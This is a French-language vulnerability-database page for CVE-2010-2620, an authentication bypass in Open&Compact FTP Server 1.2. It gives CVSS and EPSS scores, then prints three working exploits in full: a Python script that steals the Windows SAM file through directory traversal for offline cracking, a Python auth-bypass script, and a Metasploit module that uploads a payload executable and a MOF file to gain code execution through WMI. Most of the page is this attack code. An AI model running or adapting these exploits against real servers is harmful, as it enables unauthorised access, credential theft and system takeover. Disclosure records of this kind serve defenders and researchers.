CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Open&Compact FTP Server (Open-FTPD) 1.2 and earlier allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
71.79%
–
–
2023-03-12
–
–
–
51.33%
–
2023-07-23
–
–
–
48.09%
–
2023-09-03
–
–
–
55.74%
–
2023-10-22
–
–
–
52.23%
–
2023-12-03
–
–
–
60.09%
–
2024-01-14
–
–
–
63.09%
–
2024-02-11
–
–
–
54.98%
–
2024-03-17
–
–
–
58.94%
–
2024-06-02
–
–
–
52.41%
–
2024-06-02
–
–
–
52.41%
–
2024-09-22
–
–
–
56.25%
–
2024-12-22
–
–
–
40.41%
–
2025-01-05
–
–
–
43.43%
–
2025-02-09
–
–
–
44.28%
–
2025-01-19
–
–
–
43.43%
–
2025-02-16
–
–
–
44.28%
–
2025-03-18
–
–
–
–
55.67%
2025-03-18
–
–
–
–
55.67,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2013-08-06 22h00 +00:00 Auteur : Wireghoul EDB Vérifié : Yes
#!/usr/bin/python
# Exploit Title: Open&Compact Ftp Server <= 1.2 Auth bypass & directory traversal sam retrieval
# Date: Aug 7, 2013
# By Wireghoul - http://www.justanotherhacker.com
# Based on Serge Gorbunov's auth bypass (http://www.exploit-db.com/exploits/13932/)
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3
# Abusing authentication bypass in combination with a directory traversal to grab
# the sam file for offline cracking
import ftplib
import os
# Connect to server
ftp = ftplib.FTP( "192.168.58.135" )
ftp.set_pasv( False )
# Note that we need no authentication at all!!
print ftp.sendcmd( 'CWD C:\\\\windows\\\\repair\\\\' )
print ftp.retrbinary('RETR sam', open('sam', 'wb').write )
ftp.quit()
Date de publication : 2010-06-17 22h00 +00:00 Auteur : Serge Gorbunov EDB Vérifié : Yes
# Exploit Title: Open&Compact Ftp Server <= 1.2 Full System Access
# Date: June 12, 2010
# Author: Serge Gorbunov
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3
#!/usr/bin/python
# Simply by omitting login process to the open ftp server it is possible
# to execute any command, including but not limited to: listing files,
# retrieving files, storing files.
# Below is an example of a few commands.
# If you want to test storing files with no authentication, create a
# test file and uncomment out line with ftp.storbinary function call.
# Any command will work as long as there is at least on user who has the permission
# to execute that command. For example, storing files will work as long
# as there is one user with write permission. No matter whom it is.
import ftplib
import os
# Connect to server
ftp = ftplib.FTP( "127.0.0.1" )
ftp.set_pasv( False )
# Note that we need no authentication at all!!
print ftp.retrlines( 'LIST' )
print ftp.retrbinary('RETR changelog.txt', open('changelog.txt', 'wb').write )
# filename = 'test.txt'
# f = open( filename, 'rb' )
# print ftp.storbinary( 'STOR ' + filename, f )
# f.close()
ftp.quit()
Date de publication : 2013-08-12 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Open-FTPD 1.2 Arbitrary File Upload",
'Description' => %q{
This module exploits multiple vulnerabilities found in Open&Compact FTP
server. The software contains an authentication bypass vulnerability and a
arbitrary file upload vulnerability that allows a remote attacker to write
arbitrary files to the file system as long as there is at least one user
who has permission.
Code execution can be achieved by first uploading the payload to the remote
machine as an exe file, and then upload another mof file, which enables
WMI (Management Instrumentation service) to execute the uploaded payload.
Please note that this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Serge Gorbunov', # Initial discovery
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '65687'],
['EDB', '13932'],
['CVE', '2010-2620']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
# Tested on version 1.2 - Windows XP SP3 (EN)
['Open&Compact FTP 1.2 on Windows (Before Vista)', {}]
],
'Privileged' => true,
'DisclosureDate' => "Jun 18 2012",
'DefaultTarget' => 0))
register_options([
OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]),
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
], self.class)
deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass
end
def check
connect
disconnect
if banner =~ /\*\* Welcome on \*\*/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end
def on_client_connect(cli)
peer = "#{cli.peerhost}:#{cli.peerport}"
case @stage
when :exe
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
@stage = :mof
when :mof
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
cli.put(@mof)
end
cli.close
end
# Largely stolen from freefloatftp_wbem.rb
def upload(filename)
select(nil, nil, nil, 1)
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
conn = connect(false, datastore['VERBOSE'])
if not conn
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
# Switch to binary mode
print_status("#{peer} - Set binary mode")
send_cmd(['TYPE', 'I'], true, conn)
# Prepare active mode: Get attacker's IP and source port
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
src_port = datastore['SRVPORT'].to_i
# Prepare active mode: Convert the IP and port for active mode
src_ip = src_ip.gsub(/\./, ',')
src_port = "#{src_port/256},#{src_port.remainder(256)}"
# Set to active mode
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
# Tell the FTP server to download our file
send_cmd(['STOR', filename], false, conn)
print_good("#{peer} - Upload successful")
disconnect(conn)
end
# Largely stolen from freefloatftp_wbem.rb
def exploit
path = datastore['PATH']
exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe"
mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
@exe = generate_payload_exe
@stage = :exe
begin
t = framework.threads.spawn("reqs", false) {
# Upload our malicious executable
u = upload(exe_name)
# Upload the mof file
upload(mof_name) if u
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
}
super
ensure
t.kill
end
end
end
Products Mentioned
Configuraton 0
Open-ftpd>>Open-ftpd >> Version To (including) 1.2